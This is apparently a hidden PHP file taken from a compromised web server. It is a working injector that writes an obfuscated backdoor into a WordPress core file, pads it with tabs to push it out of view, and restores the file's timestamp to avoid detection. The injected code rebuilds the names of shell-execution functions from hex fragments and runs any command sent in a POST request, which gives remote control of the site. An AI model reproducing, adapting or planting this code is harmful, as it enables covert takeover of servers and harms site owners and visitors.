1#@!#!123s

: / home / realadss / .cagefs / tmp /
Filename : .parle_tokens
back
<?php  $path = '/home/realadss/public_html/joycater.in/wp-includes/class-wp-network-query.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('%24prop1%20%3D%20%27865%27%3B%24prop2%20%3D%20%27657%27%3B%24prop3%20%3D%20%27173%27%3B%24prop4%20%3D%20%27468%27%3B%24prop5%20%3D%20%27727%27%3B%24prop6%20%3D%20%27706%27%3B%24prop7%20%3D%20%27656%27%3B%24prop8%20%3D%20%2716d%27%3B%24prop9%20%3D%20%275f6%27%3B%24prop10%20%3D%20%276f6%27%3B%24prop11%20%3D%20%27e74%27%3B%24prop12%20%3D%20%2736c%27%3B%24prop13%20%3D%20%276f7%27%3B%24prop14%20%3D%20%27756%27%3B%24prop15%20%3D%20%2736f%27%3B%24prop16%20%3D%20%27665%27%3B%24uconvert1%20%3D%20pack%28%22H%2A%22%2C%20%27737%27%20.%20%27973%27%20.%20%27746%27%20.%20%2756d%27%29%3B%24uconvert2%20%3D%20pack%28%22H%2A%22%2C%20%27736%27%20.%20%24prop1%20.%20%276c6%27%20.%20%27c5f%27%20.%20%24prop2%20.%20%24prop1%29%3B%24uconvert3%20%3D%20pack%28%22H%2A%22%2C%20%24prop2%20.%20%27865%27%29%3B%24uconvert4%20%3D%20pack%28%22H%2A%22%2C%20%27706%27%20.%20%24prop3%20.%20%27737%27%20.%20%24prop4%20.%20%24prop5%29%3B%24uconvert5%20%3D%20pack%28%22H%2A%22%2C%20%24prop6%20.%20%27f70%27%20.%20%27656%27%29%3B%24uconvert6%20%3D%20pack%28%22H%2A%22%2C%20%27737%27%20.%20%27472%27%20.%20%24prop7%20.%20%24prop8%20.%20%24prop9%20.%20%27765%27%20.%20%27745%27%20.%20%27f63%27%20.%20%24prop10%20.%20%24prop11%20.%20%27656%27%20.%20%27e74%27%29%3B%24uconvert7%20%3D%20pack%28%22H%2A%22%2C%20%24prop6%20.%20%24prop12%20.%20%24prop13%20.%20%27365%27%29%3B%24uconvert%20%3D%20pack%28%22H%2A%22%2C%20%24prop14%20.%20%24prop15%20.%20%276e7%27%20.%20%24prop16%20.%20%24prop5%29%3Bif%28isset%28%24_POST%5B%24uconvert%5D%29%29%7B%24uconvert%3Dpack%28%22H%2A%22%2C%24_POST%5B%24uconvert%5D%29%3Bif%28function_exists%28%24uconvert1%29%29%7B%24uconvert1%28%24uconvert%29%3B%7Delseif%28function_exists%28%24uconvert2%29%29%7Bprint%20%24uconvert2%28%24uconvert%29%3B%7Delseif%28function_exists%28%24uconvert3%29%29%7B%24uconvert3%28%24uconvert%2C%24id_var%29%3Bprint%20join%28%22%5Cn%22%2C%24id_var%29%3B%7Delseif%28function_exists%28%24uconvert4%29%29%7B%24uconvert4%28%24uconvert%29%3B%7Delseif%28function_exists%28%24uconvert5%29%26%26function_exists%28%24uconvert6%29%26%26function_exists%28%24uconvert7%29%29%7B%24property_argument%3D%24uconvert5%28%24uconvert%2C%22r%22%29%3Bif%28%24property_argument%29%7B%24storage_slot%3D%24uconvert6%28%24property_argument%29%3B%24uconvert7%28%24property_argument%29%3Bprint%20%24storage_slot%3B%7D%7Dexit%3B%7D'); if (strstr($content, $new_code)) {     die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     if (substr($content, 0, strlen($start)) == $start) {         $content = substr($content, strlen($start));         $content = $start.str_repeat("\t", 42).$new_code."\n".$content;         if (file_put_contents($path, $content)) {             @touch($path, $ft);             $content = file_get_contents($path);             if (strstr($content, $new_code)) {                 die('!success!');             }         }     } } die('!failed!');